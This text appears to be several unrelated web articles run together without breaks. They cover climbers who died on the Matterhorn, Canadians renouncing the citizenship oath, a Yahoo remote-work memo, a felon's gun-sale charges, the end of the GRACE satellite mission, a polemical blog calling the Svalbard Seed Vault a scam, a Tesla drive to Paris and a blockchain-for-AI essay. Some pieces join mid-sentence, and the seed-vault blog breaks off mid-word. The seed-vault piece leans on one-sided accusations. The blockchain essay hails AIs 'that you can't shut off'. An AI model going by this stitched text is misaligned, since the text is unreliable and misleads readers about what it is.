By phone, an Alpine guide in the Cervinia office tried to talk them through the best route down to a bivouac ledge just five or six meters below toward their right, but sub-zero temperatures were already causing psychological strain.
“They said they could not move. They wanted a helicopter, but the storm was terrible, with snow and high winds," said Mr. Giovannini. "It was impossible.”
With helicopter rescue out of the question, Marshall Giovannini and three others set out on foot Friday morning. They reached the closest refuge, the Carrel hut, around mid-morning but were unable to advance.
Though just 150 metres as the crow flies from where the two men were stranded, the steep, technical route can take an hour to descend in good conditions, and many more in averse conditions.
Rescuers continued to call the mens’ phones Friday morning, which were ringing, but with no answer.
At first light Saturday morning a helicopter was able to take off from the Italian city of Aosta, but couldn't land due to high winds.
At 10 a.m. the helicopter was finally able to land at the location, where its hovering rotors exposed a backpack poking through the snow.
“We dug there and found them lying one on top of the other, probably trying to stay warm,” Mr. Giovannini said. “Sadly they were not well enough equipped for the winter conditions.”
Since the first ascent in 1865, more than 500 people have died on the 4,478-metre mountain between Switzerland and Italy, notorious for its dangerous sudden, strong storms, even in summer.
Two Italian climbers descending earlier exchanged a few words with the British men when they were higher up on the mountain, leading investigators to believe they miscalculated the descent time and turned around too late.
Rescuers found the Mr. Robinson’s British companion waiting in the couple’s camper at the bottom of the valley after identifying the camper based on photos in a camera found in one of the man’s backpacks.Government of Alberta via Flickr
After comments came down from the Canadian province of Ontario’s highest court, a group of Canadians both new and old, have been publicly disavowing their oath to Queen Elizabeth that they took when becoming citizens.
The pledge is still required during the citizenship ceremony, but some are renouncing it as soon as the ceremony is over. Other Canadian’s are now declaring their anti-monarchist views decades after becoming Canadian. “It is pretty hard for me to consciously swear to be faithful and to bear true allegiance to someone who has inherited her privileges and without having to prove any other merit than the fact to be the ‘child of’,” said Eric Dumonteil, a French national who became a citizen last week.
Eric Dumonteil, a French national who became a Canadian citizen last week, said: “It is pretty hard for me to consciously swear to be faithful and to bear true allegiance to someone who has inherited her privileges and without having to prove any other merit than the fact to be the ‘child of’
“How could I rationally swear the same thing to her heirs and successors? Signing a blank cheque to some people that don’t exist yet? Not for me.”
Dumonteil from Montreal, 31, first came to Canada five years ago. After undergoing the citizenship ceremony he passed a letter disavowing the oath to the citizenship judge.
Dror Bar-Natan, an Israeli national, a women from Jamaica and an Irishman all lost a battle in 2014 to have courts strike down the requirement for would-be citizens to swear to be “faithful and bear true allegiance to Queen Elizabeth the Second, Queen of Canada, her heirs and successors” as it is discriminatory.
The Ontario Court of Appeal did, however, note that the three had the opportunity to “publicly disavow what they consider to be the message conveyed by the oath” and the chance to “freely express their dissenting views as to the desirability of a republican government.”
Last year the Supreme Curt refused to join in, bringing an end to the legal matter.
Bar-Natan has leaned on the Appeal Court comments saying that the oath is equivalent to a “hazing” ritual, he has recalled his oath both orally and in a letter just moments after he became a citizen in November.
He set up a website (www.disavowal.ca) to allow others to do the same, so far that number is around 30 people.
The monarchy is a “form of abuse of the masses” according to Jake Javanshir of Toronto, a man from Iran who took his oath in the early 1970s. He disavowed in December saying the monarchy is something he couldn’t support, saying:
“I resented the part of the oath in regard to a few privileged people in England in 1970 but could not do anything about it, and resent it up to this day,
“My solidarity is to Canada and humanity, which is based on justice and decency and being a good citizen of the world, not to an antiquated system of ‘royals and royalties, kings, queens, princesses and on.”
Some other posts on the setup website showed the same feeling, many saying that they feel an allegiance to Canada but feel hypocrisy in taking the oath.
Masrour Zoghi, who became a Canadian in 2001, explained his disavowal with the words: “As someone put it recently, because it’s 2015,” a reference to Prime Minister Justin Trudeau’s comment on why his new cabinet is half female and mix-raced. Terence Stone, who became a citizen a year ago, wrote:
“I have carried the terrible feeling that I compromised my integrity; and so now I’m repairing that harm to myself by disavowing my pledge of allegiance to the Queen and body royal in perpetuity,”
The 30-year-old Karolina Sygula, made it known that she was “no one’s subject.”
The Canadian government, which fought to keep the oath, has made it understood that disavowals are legal and do not jeopardize anyone’s citizenship.“Physically Together”: Here’s the Internal Yahoo No-Work-From-Home Memo for Remote Workers and Maybe More
Courtesy of a plethora of very irked Yahoo employees, here is the internal memo sent to the company about a new rule rolled out today by CEO Marissa Mayer, which requires that Yahoo employees who work remotely relocate to company facilities.
“Speed and quality are often sacrificed when we work from home,” reads the memo to employees from HR head Jackie Reses. “We need to be one Yahoo!, and that starts with physically being together.”
Painfully awkward as this is phrased, it means every Yahoo get to your desks stat!
I reported earlier today that the move will apparently impact only several hundred employees, such as customer service reps, who work from home full time. But numerous sources told me that the decree extends to any staffers who might have arrangements to work from home just one or two days a week, too.
The changes begin in June, according to the Yahoo memo.
After that, employees who work from home must comply without exception or quit. One top manager was told that there would be little flexibility on the issue.
The anger from impacted employees was strong today, because many felt they were initially hired with the assumption that they could work more flexibly.
In fact, even waiting for the cable guy is questionable. “And, for the rest of us who occasionally have to stay home for the cable guy, please use your best judgment in the spirit of collaboration,” wrote Reses.
The tone and tactics have infuriated some at the company. Wrote one impacted Yahoo employee to me: “Even if that was what was previously agreed to with managers and HR, or was a part of the package to take a position, tough … It’s outrageous and a morale killer.”
Most tech companies encourage workers to stay on their campuses, offering free food and other perks. But none enforce such rules beyond staff needed to operate an office.
“Our engineers would not put up with that,” said one tech exec. “So, we’d never focus on it.”
In the comments section of my first story on the HR change at Yahoo, WordPress founder Matt Mullenweg wrote:
“For anyone who enjoys working from wherever they like in the world, and is interested in WordPress, Automattic is 100% committed to being distributed. 130 of our 150 people are outside of San Francisco.”
The issue is an interesting and controversial one, with some certain that working at home is the wave of the future, while others considering it hurtful to productivity.
Well, we’ll presumably see which this way goes in time.
Earlier, when asked about the change, a Yahoo spokesperson said the company does not comment on internal matters. The memo was released after my story on the change was published this morning.
But, you don’t need any comment when you can read for yourself the new working order at the Silicon Valley Internet giant:Federal prosecutors in Tacoma claim Daniel "Joe" Bard was selling guns out of an Eatonville pawnshop despite a criminal history including several criminal convictions. Bureau of Alcohol, Tobacco, Firearms and Explosives agents took this photo during a visit to the pawnshop earlier in 2016. less Federal prosecutors in Tacoma claim Daniel "Joe" Bard was selling guns out of an Eatonville pawnshop despite a criminal history including several criminal convictions. Bureau of Alcohol, Tobacco, Firearms and... more Photo: Justice Department Photo Photo: Justice Department Photo Image 1 of / 7 Caption Close Charges: Felon sold assault rifles under wife’s license 1 / 7 Back to Gallery
A Washington pawnshop owner with a decades-old criminal history now faces federal prosecution as prosecutors claim he was caught on camera selling assault rifles to undercover agents.
Investigators with the Bureau of Alcohol, Tobacco, Firearms and Explosives seized dozens of weapons from Pierce County resident Daniel “Joe” Bard is alleged to have offered for sale at an Eatonville pawnshop he and his wife operated.
Agents searched the business and Bard’s Eatonville home on May 23. Court records indicate 99 pistols, rifles and shotguns were seized.
Federal prosecutors in Tacoma have charged Bard with unlawful gun possession, citing Bard’s five prior felony convictions. Bard, 42, has several theft-related convictions, the most recent of which he received in 1994.
That criminal history should’ve prevented Bard from dealing guns. But investigators contend he bought and sold weapons under his wife’s federal firearms dealer license.
The ATF launched an investigation in March after a tip from a Pierce County Sheriff’s Office that Bard was working at the Pawn N’ Things pawnshop. According to charging papers, agents found Bard had advertised a rifle for sale on his Facebook page.
A search of ATF records revealed that Bard’s wife held a federal firearms license. Gun dealers are required to obtain such licenses if they plan to buy and sell firearms as a business.
Undercover agents visited the pawnshop on March 26. They claim Bard described himself as the store’s owner and sold them an AR-15-style rifle. According to charging papers, the transfer paperwork presented by Bard has been pre-signed by his wife.
Investigators claim to have seen Bard selling guns to customers during three other visits to the shop. An agent claims to have overheard Bard telling one customer that he will “sell anything.”
In charging papers, an ATF agent said Bard was carrying a.45-caliber pistol on his hip while working. He claimed to have owned the business for more than a year.
Federal and state laws prohibit convicted felons from possessing firearms. In Washington, most felons may petition the court to restore their gun rights five years after their most recent conviction.
Bard was arrested May 19 and was released four days later. He has pleaded not guilty to a single count of felon in possession of a firearm.
Federal prosecutors have until Aug. 19 to secure an indictment against Bard. A public defender representing Bard declined to discuss the allegations.
READ MORE: ATF: Aberdeen felon bought, sold guns on Facebook
READ MORE: 3 Afghanistan vets, 1 rocket launcher, a bunch of trouble
Seattlepi.com reporter Levi Pulkkinen can be reached at 206-448-8348 or levipulkkinen@seattlepi.com. Follow Levi on Twitter at twitter.com/levipulk.WASHINGTON — An aging German-American Earth science mission will come to an end this fall, months before the launch of a next-generation satellite pair.
In a statement Sept. 14, NASA’s Jet Propulsion Laboratory announced it expected the Gravity Recovery and Climate Experiment (GRACE) satellite duo to make its last science observations in November, more than 15 years after their launch.
That assessment comes after recent problems with one of the twin spacecraft, designated GRACE-2. Controllers lost contact with the spacecraft Sept. 4, a day after the eighth of 20 battery cells on the spacecraft failed. They restored communications with GRACE-2 on Sept. 8, found that the failed battery cell was back to full voltage and concluded that the spacecraft could continue operating.
The two GRACE spacecraft, developed as a joint project by NASA and the German Aerospace Center (DLR), operate in low Earth orbit, separated from each other by 220 kilometers. Scientists use measurements of very small changes in that separation to calculate local changes in gravitational field caused by mass variations in the Earth. Those measurements can, in turn, be used to track motions of water around the Earth caused by seasonal patterns and climate processes.
The two GRACE spacecraft launched in March 2002 on a Russian Rockot vehicle under a contract arranged by DLR. The spacecraft have long surpassed their original five-year lifetime.
That mission, though, is coming to an end because of the recent issues with GRACE-2, coupled with it running out of fuel. In the Sept. 14 statement, JPL said the two spacecraft would be decommissioned after one final science collection phase scheduled for mid-October through early November.
The decommissioning, JPL spokesman Alan Buis said Sept. 20, will include maneuvering one of the satellites to eliminate any chance it could collide with the other, followed by other steps to render the spacecraft inert. The spacecraft will make an uncontrolled reentry some time in early 2018, with the exact time dependent on solar activity and its effects on the Earth’s atmosphere.
Buis said that most of each spacecraft will burn up upon reentry. “A few small pieces are expected to survive reentry and reach the ground, but the risk they pose is very small and is within NASA requirements for satellite reentry,” he said.
That schedule will leave a data gap of potentially several months before the launch of a replacement pair of satellites known as GRACE Follow On, or GRACE-FO. The satellites, built again as a joint German-American project, are similar to the original GRACE spacecraft, but with the addition of a laser interferometer for more accurate measurements of their separation.
The two GRACE-FO satellites were originally planned to launch on a Dnepr rocket from the Baikonur Cosmodrome in Kazakhstan under a contract the German Research Centre for Geosciences (GFZ) arranged with Kosmotras. However, the Dnepr has not launched since March 2015 because of difficulties winning Russian government approval for additional launches of the Ukrainian-built rocket.
In January, Iridium and GFZ announced they were partnering on the purchase of a SpaceX Falcon 9 launch that will carry the two GRACE-FO satellites as well as five Iridium Next communications satellites. That launch is in addition to seven dedicated Falcon 9 launches Iridium previously purchased, each carrying 10 Iridium Next satellites.
A launch date for the joint Iridium Next/GRACE-FO mission has not been set, JPL’s Buis said, other than it is expected to occur in early 2018. NASA’s fiscal year 2018 budget proposal, published in May, projected a February 2018 launch of GRACE-FO.
Jordan Hassin, a spokesman for Iridium, said Sept. 19 that the joint mission would likely be the fifth or sixth in the overall sequence of Iridium Next launches, and would not be the last. The third Falcon 9 Iridium launch is currently scheduled for Oct. 4, Iridium confirmed in a Sept. 20 release.Svalbard Global Seed Vault: Cary Fowler's Vanity Project and the Greatest Scam Since the Dawn of Agriculture [part 3/3]
So with part 1 in this series having explained how the Svalbard Global Seed Vault might be even less secure than what's been recently conveyed by the popular press, and with part 2 having relayed just two of which could have been many more statements that might cajole somebody into questioning the motivations behind the Svalbard Global Seed Vault itself, a not-quite undeserved query to come about from all this might therefore be something along the lines of "What then could the purpose of the Svalbard Global Seed Vault effectively be?"
That question would've stumped me as it would've stumped most others, were it not for the fact that in September of 2010 I was fortuitous enough to be making my way from Toronto to Salina, Kansas, the purpose of that excursion being to make my first visit to The Land Institute's annual Prairie Festival. As if it weren't already enough that on top of getting the chance to see perennial favorite Wes Jackson speak that I was also going to have the opportunity to see Wendell Berry speak, but as a member of and volunteer for Seeds of Diversity, a volunteer at several Seedy Saturdays in Toronto, WWOOFer for six weeks at Koanga Gardens in New Zealand, WWOOFer for two weeks at Stellar Seeds in British Columbia, and just all-round avid seed saver, I was also going to get the special opportunity to listen to a couple of talks by none other than seed saver extraordinaire Kent Whealy – a guy who was introduced by Jackson as "someone who will be remembered long after the pyramids are gone".
If you aren't familiar with the name Kent Whealy, this is the guy that co-founded (or is it founded?) the Seed Savers Exchange, a seed saving operation in Decorah, Iowa, that sought out, collected, and preserved tens of thousands of family heirlooms and rare garden varieties that were often on the verge of extinction. The Seed Savers Exchange is – was? – what you might call the antithesis of the Svalbard Global Seed Vault. Because although a central collection of seeds was maintained which was inaccessible to the general public, it nonetheless operated under a 10-year rotational system whereby each summer the aim was for 10% of the seeds to be grown out for regeneration purposes as well as to confer revolving access of the collection's seeds to members of the public (or more specifically people who had paid the nominal membership fee). What Whealy spearheaded was, without a doubt, the greatest collection of heirloom food crops the world has ever seen.
While the first talk that Whealy gave at The Land Institute was exactly what I expected (in this particular case an interesting talk on apple varieties and their preservation), the second talk he gave was – well, here's how he started off, seven years ago today:
Kent Whealy at The Land Institute September 26, 2010 (photo courtesy of Kay McDonald)
For [the] past three years, Amy Goldman (Chair of the Board of the Seed Savers Exchange) and Cary Fowler (Executive Director of the Global Crop Diversity Trust) have been depositing portions of Seed Savers Members’ Seed Collection into the Svalbard Global Seed Vault in the far north of Norway. Goldman and Fowler are being dishonest... by concealing the fact that being deposited in Svalbard places Seed Savers Members’ Seed Collection under the control of the United Nations’ FAO Treaty, which was specifically designed to facilitate access by corporate breeders. Goldman and Fowler targeted an exemplary U.S. nonprofit in order to gain control of and then misappropriate Seed Savers Members’ Seed Collection of 26,000 varieties, by far the best collection of heirloom garden crops in the world.
Those were some pretty loaded words Whealy was brandishing, words that not only dealt with seed collections but also an ungodly amount of drama. Because as I later discovered, it turns out that in the few years preceding his Land Institute talk Whealy had clandestinely sent out a few similar letters to Seed Savers Exchange Members regarding both his dismissal from the Seed Savers Exchange and the situation with its seed collection, the talk of his that I attended being at a venue of enough notoriety that this time around a barrage of denouncements was elicited by senior officials and related parties to the Seed Savers Exchange. (All of said documents can be found on the Internet Archive here as they no longer seem to exist on the actual Seed Savers Exchange website. Likewise, links to downloadable PDFs of Whealy's talks and letters mentioned throughout this post can be found near its end.)
I'll avoid giving too much attention to what can come off like a school-boy spat, a school-boy spat with one side claiming that the ousted was victimized by a Board of Directors who had been quietly waiting for their opportunity to terminate the founder of what had become a very successful organisation, the other side criticising the ousted for being a disgruntled former employee who was experiencing "founder's syndrome". If that wasn't enough in itself, things were even so weird that rather than parties trying to up one another they were apparently trying to under one another. Because as Fowler recriminated upon Whealy's Land Institute talk, Whealy's ongoing criticisms and activities were said to be likely made possible "through his wealthy new wife". Which is quite possibly true, and from what I gather is probably how Whealy was able to be the second-largest donor with a contribution of $1 million to help fund Proposition 37, the 2012 initiative to require labelling of genetically engineered foods in California (it was narrowly defeated, although more on that later).
But while Fowler won the 2010 round of "my wife isn't as wealthy as your wife", come 2012 Fowler not only ended up marrying a millionaire of his own, but he in fact married a billionaire – and in New York City's Central Park no less. Moreover, he didn't marry just any billionaire, but none other than Amy Goldman herself, the aforementioned Chair of the Seed Savers Exchange Board of Directors.
How did Goldman manage to become a billionaire? No, not by being an heiress to some New York City affiliated Goldman-Sachs alumni, but rather by being one of a few heiresses to (the late) Sol Goldman, New York City's one-time largest landlord and owner of its largest real-estate empire. Moreover, Amy Goldman is by no means a "poor" billionaire but a rather rich enough billionaire to have landed herself a tidy spot on Forbes' list of the world's richest billionaires.
From the daughter of New York City's largest landlord to the wife of the world's largest seedlord, Amy Goldman takes in the sights at the Brave New test tube World of the International Potato Center (photo by Global Crop Diversity Trust / Cary Fowler)
So yes, while there's no doubt that Whealy has been able to use his access to new-found riches to fund his various seed-related activities, it also would be hard to deny that Goldman's access to riches has enabled her to make headway into the seed saving world and the Seed Savers Exchange in particular, what with such things as her funding of the Seed Savers Exchange's Visitor's Center, the named-after-her-mother Lillian Goldman Center.
Rather unsurprisingly, the rash of responses elicited by the Seed Savers Exchange-and-company following Whealy's Land Institute talk were loaded with several accusations criticizing Whealy's handling of the Seed Savers Exchange and its seeds. For starters, in a letter dated October 29, 2010, and signed by the entire Seed Savers Exchange Board of Directors, it's stated that the aforementioned growouts that Whealy mentioned never actually reached 10% and that Whealy "often used qualifiers and modifiers, such as... 'we try [and]... attempt to grow 10% of each crop on a 10-year rotation'". While that may very well be true (growouts on the scale partaken by the Seed Savers Exchange aren't easy for any organisation), I do however have my doubts about the innocence of Whealy's detractors. Because as was also stated in that very same letter,
Kent Whealy repeatedly claims that the current Board has weakened SSE. The facts are these: On our watch, SSE membership has more than doubled, to over 13,000, and seed sales have grown at that same pace. Seed Savers Exchange is in better financial shape than ever, and those resources are being deployed to strengthen programs that fulfill our mission.
Which is kind of like a morgue taking credit for the bubonic plague. Because while I can't claim to know any of the truth behind either side's accusations, I do recall it being specifically stated in a post-Whealy mail-out I received from the Seed Savers Exchange that due to the downturn in the US economy many Americans were re-discovering the importance – and joys – of growing their own food, and that as a result memberships and seed sales had shot through the roof. In other words, what the members of the Seed Savers Exchange's Board of Directors did in their condemnation of Whealy and corollary championing of themselves was take credit for the effects of the Great Recession, which for me is enough to deduce that at least one side isn't free from embellishment and that the truth behind all the drama is so foggy that it's probably impenetrable.
With or without all that in mind, according to Whealy both Fowler and Goldman knew that he would never allow for Seed Savers Exchange collections to be deposited into the Svalbard Global Seed Vault. Part of Whealy's reluctance was due to the fact that duplicates were already held in a separate underground seed vault at the Seed Savers Exchange's Heritage Farm (to protect against fire and tornadoes and such), as well as in "black-box" storage at the National Seed Storage Lab in Fort Collins, Colorado ("black-box" storage means the seeds belonged entirely to the Seed Savers Exchange and could be returned upon request). Paying apparently no attention to the already-existing backups and nor to the backups to the backups, and as Whealy then explained,
Together they [Fowler and Goldman] proudly announced that 485 varieties from Seed Savers Members' Seed Collection would be deposited at Svalbard's official opening in February of 2008 and that more annual deposits would follow until about 9,000 out of SSE's 26,000 varieties (only those unique to SSE's collection) have been deposited.
Actual Seed Savers Exchange seeds being deposited into the Svalbard Global Seed Vault (photo by Global Crop Diversity Trust)
Dramas aside (since what they ultimately do is cloud over the core issue here – the seeds), the main point that Whealy was clamouring on about was in regards to the aforementioned statement of his that seeds deposited into the Svalbard Global Seed Vault are placed under a questionable United Nations FAO treaty. In terms of the mainstream media, this is certainly the least talked about – most avoided? – issue regarding the Svalbard Global Seed Vault, one which might best be explained by starting off by relaying a quote Fowler made in his most recent book, Seeds on Ice: Svalbard and the Global Seed Vault. As stated on page 137,
Think of the Seed Vault as functioning like a safety deposit box in a bank. The bank owns the building and the vault, the depositors own the contents of their boxes. In this case, Statsbygg "owns" the facility and the depositing genebanks own the seeds they send. Each depositor signs a deposit agreement with NordGen acting on behalf of Norway. The agreement specifies that Norway does not claim ownership of the deposited samples and that ownership remains with the depositor, who has the sole right of access to those materials in the Seed Vault. There is no transfer of ownership, no change in the status of the physical or intellectual property rights associated with the seed.
From what I can tell that's actually a very poor analogy, the more appropriate one being a comparison of the Vault not to a safety deposit box but rather to a regular depositors' account. Because much like how private banks use deposits and the fractional-reserve system to create money "out of thin air", the Svalbard Global Seed Vault is actually able to use its Depositor Agreement to conjure seeds "out of thin air" as well. How so?
For starters, depositors of seeds in the Svalbard Global Seed Vault must sign what might be seen by those not schooled in legalese as a rather opaque and complex Standard Depositor Agreement (PDF) stipulated by NordGen (Nordic Genetic Resource Center, the institute responsible for the Svalbard Global Seed Vault's management and operations). Furthermore, and as too few have noted, it is Article 7 Section 1 of the Agreement that makes the Vault's motivations somewhat dubious to those with a healthy dose of scepticism when it comes to these globalist-minded "altruistic" kinds of endeavours. As said portion of the agreement states,
In consideration for the right to deposit samples of plant genetic resources in the Svalbard Global Seed Vault, the Depositor agrees to make available from their own stocks samples of accessions of the deposited plant genetic resources and associated available non-confidential information to other natural or legal persons...
In other words, although the Svalbard Global Seed Vault most certainly is a seed bank, it's not so much one that practices seed preservation so much as it's one that practices – for the time being simply allowing for the possibility of – fractional-reserve seed banking. And while the seeds deposited into the Svalbard Global Seed Vault are in a sort of "black-box" storage of their own, it's actually more like a quasi-, pseudo-, or even mutant-"black-box" storage. Because while the actual seeds deposited into the Svalbard Global Seed Vault remain entirely the property of the depositors and are accessible by them and them only, the source of the seeds deposited into the Svalbard Global Seed Vault are placed under what can very well be interpreted as a sort of waywardly "ownership" by unnamed "other natural or legal persons", somewhat similar to how money placed into a depositor account becomes the property of the bank and the depositor becomes an unsecured creditor with a claim against the bank. Why might this be a problem?
First off, if you're up to speed with how things currently operate in the world then you know that starting off with the United States, corporations have been recognized as being a "legal person" since 1886. Secondly, if you take a bit of a deeper look into the Global Crop Diversity Trust (funder of the storage of seeds in the Vault, not of the Vault itself) you'll see that it's more than just an organization with a warm and fuzzy name but is actually funded by what some might deem as a consortium of rather compromising organizations. Because along with various governmental organisations, the Global Crop Diversity Trust's list of funders also includes some of the world's largest biotech companies – Bayer, Syngenta AG, and Du |
, we pulled up behind a budget chain hotel to find two supercharger stations. I expected to feel relieved, but I didn’t; I was just exhausted from all the concentration.
With the charger secure, the perilously low range was rising, but not all that quickly. Only two stations were available, and Superchargers work in pairs. If someone’s charging next to you - which there was - you’ll get a slower charge. It turned out the other Model S driver was actually a Tesla employee, who chatted to us about the virtues of working for a company that operates in such a unique way. “If you have an idea, you can just tell your boss and he’ll pass it on. If they like it, they’ll do it,” he enthusiastically told us. After the guy drove away in near silence, we went to find lunch, something we’d well and truly earned.
Darren: When we left the Senlis Supercharger station fully brimmed with electricity (with the other charger occupied, it took about an hour and a half to get to 100 per cent) I was left with a warm glow. Elon Musk has talked about making these stations meeting points and hangouts. Places where people can chat over a coffee while their cars recharge. That’s exactly what we found when another Tesla driver showed up (plus another at the same charger on our return journey) and happily talked to us about their experiences with the car.
The owners all have one thing in common - they’re passionate about Tesla. Owning one of these cars clearly feels like you’re part of a special club, an all-inclusive membership to the start of something special. We found out that on the day we left that Tesla’s French Owner’s Club was driving to the south of France to inaugurate a new Supercharger.
It’s easy to see that friendly ‘social club’ mentality dying out if Tesla (and pure EVs in general) become as popular as Musk predicts - no one makes friends at petrol stations, after all - but for now, owning a Tesla is special. One of the owners we talked to described it as a ‘passionate relationship,’ gesticulating in a very Gallic manner.
I had taken the wheel for the final stint into Paris. First we checked into the hotel, and then found some dinner, before heading into the city centre for a photograph beneath the Eiffel Tower. Tower to Tower would be accomplished. We passed the imposing Parc des Princes football stadium on the elevated Boulevard Périphérique, Paris’ massive ring road, before dropping under the River Seine. As we negotiated the heavy traffic, the Eiffel Tower suddenly loomed into view. The stress-fuelled drive from earlier became a distant memory, and with moods lifted it was then that I began to truly appreciate the Model S.
Before we reached our destination at the Eiffel Tower, I convinced the guys to let me tick something off my bucket list. The roundabout encircling the Arc de Triomphe is legendary, and I couldn’t leave Paris without driving it. As the red light turned green, butterflies filled my stomach - I mean it’s not like I was driving a rare, expensive car on what is essentially a demolition derby circuit. I soon discovered Matt was even more nervous than I was, though.
As we entered the arena, the lack of road markings became immediately apparent. I aimed for the centre, my eyes darting between all three mirrors and out the windscreen in an attempt to keep a permanent mental picture of my surroundings. There are no rules here. Some people slow to allow others on, others slow to find a gap as they enter. The guy in the Astra van that screamed in from my right clearly wanted the piece of road I had, so I checked my offside mirror so I could move over.
Matt swears. He’d just taken his eyes off his camera and noticed the van. However, we were good, and had survived a full lap of the incredible arch. Indicating away from this circle of madness, we took a zig-zag route between kamikaze motorists. It was Eiffel time.
Matt: The day’s driving had left me well and truly in a bad mood, dreading the fact that we’d have exactly the same tricky Supercharger gap to bridge the next day. But the beauty of Paris meant that all that was forgotten. As we approached the Eiffel tower - its powerful search lights swivelling around and reaching into the distance - the ‘official’ end point of our trip was in sight. I navigated down the Quai Branly wary of the mad cab drivers populating the road, before finally stopping at the base of the tower. Jayson ran over to the other side of the road to take pictures, just grabbing the key snaps in time before we were chased off by some less-than-impressed police officers.
‘Not so long ago, buying an electric car meant getting a diminutive plastic box of misery like a G-Wizz with a pathetic 40 mile range. How times have changed’
After finding out that we could park up on a quieter Avenue Gustave Eiffel at the other side of the tower, we vacated the Tesla and looked up at the 300-metre tall structure, marvelling at how this 126-year-old-building was only ever supposed to be temporary. Some think that full electric vehicles like the Tesla are merely a temporary flirtation from the auto industry, but who knows; like the Eiffel Tower, perhaps they’re here to stay.
It was then that what we’d achieved struck me. We’d got here all the way from London - separated by hundreds of miles and some sea - on nothing but electric power. Free electric power, at that.
Not so long ago, buying an electric car meant getting a diminutive plastic box of misery like a G-Wizz with a pathetic 40 mile range. How times have changed. Sure, the gap between chargers made this particular journey incredibly stressful at times - and travelling back the other way the next day turned out to be just as fraught - but we’d proven that road trips are possible in an electric vehicle. And proven it well by plugging one of the largest gaps between chargers on the whole Supercharger network. With the range of the Model S only set to increase and superchargers being installed all the time (in fact, one has just been installed in Calais), these trips will get easier too.Blockchains for Artificial Intelligence
From Decentralized Model Exchanges to Model Audit Trails
Trent McConaghy Blocked Unblock Follow Following Jan 3, 2017
[This is based on a talk I first gave on Nov 7, 2016. Here are the slides. And, it was first published on Dataconomy on Dec 21, 2016; I’m reposting here for ease of access. In May 2017 I gave an updated talk; here’s the slides & video.]
In recent years, AI (artificial intelligence) researchers have finally cracked problems that they’ve worked on for decades, from Go to human-level speech recognition. A key piece was the ability to gather and learn on mountains of data, which pulled error rates past the success line.
In short, big data has transformed AI, to an almost unreasonable level.
Blockchain technology could transform AI too, in its own particular ways. Some applications of blockchains to AI are mundane, like audit trails on AI models. Some appear almost unreasonable, like AI that can own itself — AI DAOs. All of them are opportunities. This article will explore these applications.
Blockchains as Blue Ocean Databases
Before we discuss applications, let’s first review what’s different about blockchains compared to traditional big-data distributed databases like MongoDB.
We can think of blockchains as “blue ocean” databases: they escape the “bloody red ocean” of sharks competing in an existing market, opting instead to be in a blue ocean of uncontested market space. Famous blue ocean examples are Wii for video game consoles (compromise raw performance, but have new mode of interaction), or Yellow Tail for wines (ignore the pretentious specs for wine lovers; make wine more accessible to beer lovers).
By traditional database standards, traditional blockchains like Bitcoin are terrible: low throughput, low capacity, high latency, poor query support, and so on. But in blue-ocean thinking, that’s ok, because blockchains introduced three new characteristics: decentralized / shared control, immutable / audit trails, and native assets / exchanges. People inspired by Bitcoin were happy to overlook the traditional database-centric shortcomings, because these new benefits had potential to impact industries and society at large in wholly new ways.
These three new “blockchain” database characteristics are also potentially interesting for AI applications. But most real-world AI works on large volumes of data, such as training on large datasets or high-throughput stream processing. So for applications of blockchain to AI, you need blockchain technology with big-data scalability and querying. Emerging technologies like BigchainDB, and its public network IPDB do exactly that. You no longer need to compromise on the the benefits of traditional big-data databases in order to have the benefits of blockchains.
Overview of Blockchains for AI
Having blockchain tech that scales unlocks its potential for AI applications. Let’s now explore what those might be, by starting with the three blockchain benefits.
These blockchain benefits lead to the following opportunities for AI practitioners:
Decentralized / shared control encourages data sharing:
(1) Leads to more data, and therefore better models.
. (2) Leads to qualitatively new data, and therefore qualitatively new models.
. (3) Allows for shared control of AI training data & models.
Immutability / audit trail:
(4) Leads to provenance on training/testing data & models, to improve the trustworthiness of the data & models. Data wants reputation too.
Native assets / exchanges:
(5) Leads to training/testing data & models as intellectual property (IP) assets, which leads to decentralized data & model exchanges. It also gives better control for upstream usage of your data.
There’s one more opportunity: (6) AI with blockchains unlock the possibility for AI DAOs (Decentralized Autonomous Organizations). These are AIs that can accumulate wealth, that you can’t shut off. They’re Software-as-a-Service on steroids.
There are almost surely more ways that blockchains can help AI. Also, there are many ways that AI can help blockchains, such as mining blockchain data (e.g. Silk Road investigation). That’s for another discussion:)
Many of these opportunities are about AI’s special relationship with data. So let’s first explore that. Following this, we’ll explore the applications of blockchains for AI in more detail.
AI & Data
Here, I will describe how much of modern AI leverages copious quantities of data for its impressive results. (This isn’t always the case, but it is a common theme worth describing.)
“Ancient” History of AI & Data
When I started doing AI research in the 90s, a typical approach was:
Here’s your fixed dataset (typically small). Design an algorithm to improve performance, for example design a new kernel for a support vector machine classifier that reduces area-under-curve (AUC). Publish that algorithm in a conference or journal. Ten percent relative improvement is about the “minimum publishable unit”, as long as your algorithm itself was fancy enough. If you got a 2x-10x, you’re looking at best-paper territory, especially if the algorithm was really fancy.
If this sounds academic, that’s because it was. Most AI work was still in academia, though there were real-world applications too. In my experience, it was like this in many sub-fields of AI, including neural networks, fuzzy systems (remember those?), evolutionary computation, and even slightly less AI-ish techniques like nonlinear programming or convex optimization.
In my first published paper (1997), I proudly showed how my freshly-invented algorithm had the best results compared to state-of-the-art neural networks, genetic programming, and more — on a small fixed dataset. Oops.
Towards Modern AI & Data
But, the world shifted. In 2001, Microsoft researchers Banko and Brill released a paper with remarkable results. First, they described how most work in their domain of natural language processing was on less than a million words — small datasets. Error rates were 25% for the old / boring / least fancy algorithms like Naive Bayes and Perceptrons, whereas fancy newer memory-based algorithms achieved 19% error. That’s the four datapoints on the far left of the plot below.
From Banko and Brill, 2001
So far, no surprises. But then Banko and Brill showed something remarkable: as you added more data — not just a bit more data but orders of magnitude more data — and kept the algorithms the same, then the error rates kept going down, by a lot. By the time the datasets were three orders of magnitude larger, error was less than 5%. In many domains, there’s a world of difference between 18% and 5%, because only the latter is good enough for real-world application.
Moreover, the best-performing algorithms were the simplest; and the worst algorithm was the fanciest. Boring old perceptrons from the 1950s were beating state-of-the-art techniques.
Modern AI & Data
Banko and Brill weren’t alone. For example, in 2007, Google researchers Halevy, Norvig and Pereira of Google published a paper showing how data could be “unreasonably effective” across many AI domains.
This hit the AI field like an atom bomb.
“It’s the data, silly.”
The race was on to gather way more data. It takes significant effort to get mountains of good data. If you have the resources, you can get data. Sometimes you can even lock up data. In this new world, data is a moat, and AI algorithms a commodity. For these reasons, “more data” is a key imperative for Google, Facebook, and many others.
“Mo’ data, mo’ money.” — Everyone
Once you understand these dynamics, specific actions have simple explanations. Google doesn’t buy satellite imaging companies simply because it likes space; and Google gives away TensorFlow.
